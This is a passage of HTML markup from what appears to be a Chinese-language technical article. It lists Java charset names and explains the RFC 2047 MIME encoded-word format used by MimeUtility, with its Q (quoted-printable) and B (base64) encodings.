class="code-snippet__attr">key</span> = IBM1026</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM1047</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM273</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM277</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM278</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM280</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM284</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM285</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM290</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM297</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM420</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM424</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM437</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM500</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM775</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM850</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM852</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM855</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM857</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM860</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM861</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM862</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM863</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM864</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM865</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM866</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM868</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM869</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM870</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM871</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = IBM918</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">2022</span>-CN</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">2022</span>-JP</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">2022</span>-JP-<span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">2022</span>-KR</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">13</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">15</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">2</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">3</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">4</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">5</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">6</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">7</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">8</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = ISO-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">9</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = JIS_X0201</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = JIS_X0212-<span class="code-snippet__number">1990</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = KOI8-R</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = KOI8-U</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = Shift_JIS</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = TIS-<span class="code-snippet__number">620</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = US-ASCII</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = UTF-<span class="code-snippet__number">16</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = UTF-<span class="code-snippet__number">16</span>BE</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = UTF-<span class="code-snippet__number">16</span>LE</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = UTF-<span class="code-snippet__number">32</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = UTF-<span class="code-snippet__number">32</span>BE</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = UTF-<span class="code-snippet__number">32</span>LE</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = UTF-<span class="code-snippet__number">8</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1250</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1251</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1252</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1253</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1254</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1255</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1256</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1257</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">1258</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = windows-<span class="code-snippet__number">31</span>j</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-Big5-HKSCS-<span class="code-snippet__number">2001</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-Big5-Solaris</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-COMPOUND_TEXT</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-euc-jp-linux</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-EUC-TW</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-eucJP-Open</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1006</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1025</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1046</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1097</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1098</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1112</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1122</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1123</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1124</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1166</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1364</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1381</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM1383</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM300</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM33722</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM737</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM833</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM834</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM856</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM874</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM875</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM921</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM922</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM930</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM933</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM935</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM937</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM939</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM942</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM942C</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM943</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM943C</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM948</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM949</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM949C</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM950</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM964</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-IBM970</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-ISCII91</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-ISO-<span class="code-snippet__number">2022</span>-CN-CNS</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-ISO-<span class="code-snippet__number">2022</span>-CN-GB</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-iso-<span class="code-snippet__number">8859</span>-<span class="code-snippet__number">11</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-JIS0208</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-JISAutoDetect</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-Johab</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacArabic</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacCentralEurope</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacCroatian</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacCyrillic</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacDingbat</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacGreek</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacHebrew</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacIceland</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacRoman</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacRomania</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacSymbol</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacThai</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacTurkish</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MacUkraine</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MS<span class="code-snippet__number">932_0213</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MS950-HKSCS</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-MS950-HKSCS-XP</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-mswin-<span class="code-snippet__number">936</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-PCK</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-SJIS_0213</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-UTF-<span class="code-snippet__number">16</span>LE-BOM</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = X-UTF-<span class="code-snippet__number">32</span>BE-BOM</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = X-UTF-<span class="code-snippet__number">32</span>LE-BOM</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-windows-<span class="code-snippet__number">50220</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-windows-<span class="code-snippet__number">50221</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-windows-<span class="code-snippet__number">874</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-windows-<span class="code-snippet__number">949</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-windows-<span class="code-snippet__number">950</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">key</span> = x-windows-iso2022jp</span></code></pre></section><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;51O1-1655715047603&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AUj1-1655715047587&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中一些编码会出现隐藏字符的问题：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p>其中一些编码会出现隐藏字符的问题：</p></article><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">
    </span><img data-ratio="0.6341463414634146" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=34f4b032&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3JMLqYwJOib7NDrN0RqbKhvStS75cS5KUJSG1r7YfbSTo9UI3qPj31HA%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLzT-1655711563044&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WhAx-1655711563042&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MimeUtility：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:20}]}]}]}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: 20px;">MimeUtility：</span></p></article><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 483px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=069ab335&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3VvtXTuxVPsezlIGw6wUHILvsjWX0jEIgZeBLfuQAoRVP37iaCEEtckw%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pyad-1655704234014&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ceCk-1655704234012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;查看RFC 2047文档我们可以看到其规则用例：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">查看RFC 2047文档我们可以看到其规则用例：</span></p></article><p><img class="rich_pages wxw-img" data-ratio="0.606166783461808" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;text-align: left;white-space: pre-wrap;width: 761px;height: 461px;" data-type="png" data-w="2854" src="https://wechat2rss.xlab.app/img-proxy/?k=50655944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3rHODrQFPBpqRicibJLAhMLLUDrtuUB8YibjttKwS59myP3f9OrJOeKNAw%2F640%3Fwx_fmt%3Dpng"/><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"><img class="rich_pages wxw-img" data-ratio="0.606166783461808" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 461px;" data-type="png" data-w="2854" src="https://wechat2rss.xlab.app/img-proxy/?k=71e7c418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3MaGiagXtEdYF4wiaKTZOQYz4sFVFaUcboepBzCetoXAiaMQicVJ27PKtcQ%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m97q-1655705216161&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JFiv-1655705216159&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;用我CET-6的英文水平来尝试理解第二位中的encode位，" q="" b="" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">用我CET-6的英文水平来尝试理解第二位中的encode位，&#39; Q &#39;用于解析ascii字符（实际上为QP编码），而&#39; B &#39;用于解析base64格式的字符：</span></p><p><span style="background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="0.6065918653576438" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 761px;height: 462px;" data-type="png" data-w="2852" src="https://wechat2rss.xlab.app/img-proxy/?k=9e74dc8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr5UR37BibWIcQ8GS0oIWbUl3TqF9vTMZOMWoIqv7HWBuxdQDzgIQvJ0CjvtJeySAeshGQCC7qyrj3g%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></span></p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W1UE-1655705216397&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UB6S-1655705216395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Q：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;A3qq-1655706902880&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCE4737dce847c2499771646ddabdc3c376&#34;,&#34;width&#34;:761,&#34;height&#34;:527},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCE4737dce847c2499771646ddabdc3c376&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:527},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IRDG-1655706873955&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KKzm-1655706873953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;B：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J6tX-1655706876040&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEa264ac13de80885dc62d6eb829532bf6&#34;,&#34;width&#34;:761,&#34;height&#34;:527},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEa264ac13de80885dc62d6eb829532bf6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:527},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gc9F-1655707099244&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Eufh-1655707099239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;文档中的&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;woIz-1655707099552&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://datatracker.ietf.org/doc/html/rfc2047#section-5&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0mZX-1655707099551&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Section 5&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KNPV-1655707099556&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;还有一些比较有意思的格式：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><p><span style="background-color: rgb(255, 255, 255);">Q：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 761px;height: 527px;" data-type="png" data-w="2632" 